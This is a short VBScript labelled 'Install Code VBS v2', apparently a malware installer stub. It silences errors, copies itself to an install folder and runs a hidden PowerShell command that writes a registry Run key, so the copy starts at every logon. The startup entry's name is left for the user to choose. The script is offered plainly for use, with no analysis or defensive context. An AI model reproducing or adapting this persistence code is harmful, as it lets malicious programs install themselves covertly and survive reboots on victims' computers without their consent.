Install Code VBS v2

on error resume Next
Dim A
A = "powershell -windowstyle hidden ( New-ItemProperty -Path " & """" & "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " -Name " & """" & "$NAME$" & """" & " -Value " & """" & "$PATH$" & """" & " )"
Set B = CreateObject("Wscript.shell")
Set C = CreateObject("Scripting.FileSystemObject")
PATH = installdir & installname
NAME = "Change This To Anything u want :)"
C.copyfile wscript.scriptfullname,installdir & installname,true
A = replace(replace(A,"$PATH$",PATH),"$NAME$",NAME)
B.Run A,0